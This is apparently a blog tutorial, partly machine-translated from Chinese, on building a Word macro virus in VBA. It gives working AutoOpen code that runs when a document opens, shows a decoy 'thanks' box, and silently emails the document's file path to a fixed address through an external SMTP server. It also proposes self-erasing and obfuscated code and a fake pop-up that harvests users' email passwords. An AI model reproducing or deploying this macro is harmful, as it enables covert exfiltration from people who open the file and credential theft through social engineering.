Macro & Macro virus A simple example

Based VisualBasicForApplications

First: record a macro

In word, view, macro, macro recording options.

Operation is relatively simple, not repeat them. (Note that according to the needs of select normal or current document)

For example: recording a macro: shortcuts to space, some fields to hide / blank. You can hide the information. (Although very simple)

Second: Edit Macro

Create a macro to view the macro view (note that the current document select normal or on demand)

CDO component sends the message.

ActiveDocument.FullName with the acquisition path of the current document.

I do not know why Dim mail As New CDO.Message will complain

改用Set cm = CreateObject("CDO.Message")

At the same time this macro name AutoOpen. Specific Interpretation can find online. Here are lazy, you can do a msg macro, do a AutoOpen, in AutoOpen in call msg

Note Send e-mail to open SMTP option in the settings, and set a third-party password. Such code is used instead of the password email password.

Also after editing tips doc does not support macros, so instead docm format.

Also note that the tool in the visual basic for application to edit - add a reference to the CDO library

Code

There are many ideas for improvement. For example, run the finished code that directly destroy, replace the code runs out of random characters, and so on.

There are methods of social engineering, such as a pop-up box for the user to enter their email and password. (To investigate and updating nominal)

Sub AutoOpen()
'
' AutoOpen 宏
'
'
MsgBox ("thanks")


Set cm = CreateObject("CDO.Message")
cm.From = "[email protected]"
cm.To = "[email protected]"
cm.Subject = "the back"
cm.HTMLBody = ActiveDocument.FullName
stUl = "http://schemas.microsoft.com/cdo/configuration/" '微软服务器网址
With cm.Configuration.Fields
    .Item(stUl & "smtpserver") = "smtp.163.com"         'SMTP服务器地址
    .Item(stUl & "smtpserverport") = 25                  'SMTP服务器端口
    .Item(stUl & "sendusing") = 2                        '发送端口
    .Item(stUl & "smtpauthenticate") = 1      '需要提供用户名和密码,0是不提供           '
    .Item(stUl & "sendusername") = "xxxx"                '发送方邮箱名称
    .Item(stUl & "sendpassword") = "xxxx"                  '发送方邮箱密码
    .Update
End With
cm.Send '最后当然是执行发送了
Set cm = Nothing
'发送成功后即时释放对象
End Sub

Guess you like

Origin www.cnblogs.com/lqerio/p/11111832.html